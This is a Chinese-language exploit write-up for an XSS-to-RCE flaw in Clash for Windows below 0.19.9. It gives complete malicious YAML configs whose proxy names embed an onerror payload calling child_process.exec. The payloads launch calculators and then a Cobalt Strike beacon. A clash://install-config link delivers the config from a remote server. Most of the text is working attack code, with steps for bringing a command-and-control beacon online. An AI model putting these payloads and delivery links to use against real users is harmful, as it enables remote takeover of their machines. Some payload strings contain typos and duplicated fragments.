漏洞詳情
crash_for_windows_pkg由 Electron 提供支援。如果 XSS 負載以代理的名義,我們可以遠端執行受害者計算機上的任何 JavaScript 程式碼。
受影響的衝突版本_for_windows_pkg
版本:< 0.19.9
平臺:windows,mac
作業系統細節:Windows 10
驗證
1.新建一個yaml配置檔案,內容具體如下:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
2.開啟clash,在Pprofiles中匯入剛剛建立的配置檔案
3.在proxies中點選圖片連結即可觸發。
mac指令碼
在mac中只是部分程式碼不同
程式碼如下:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`););`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>
另一種利用方式
將惡意配置檔案放到網際網路上並用於clash://
安裝它,clash_for_windows_pkg 將自動下載並切換到它。
如:
clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
上線CS
在CS上生成監聽,主要設定埠時不要與上面程式碼中的埠出現重複,否則會報錯。
接著生成可執行檔案
將生成的beacon.exe檔案放置在目標機C盤中,接著修改配置檔案中的路徑:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
接著載入配置檔案,最後點選proxies中點選圖片連結。返回CS,可以看見已經成功上線CS。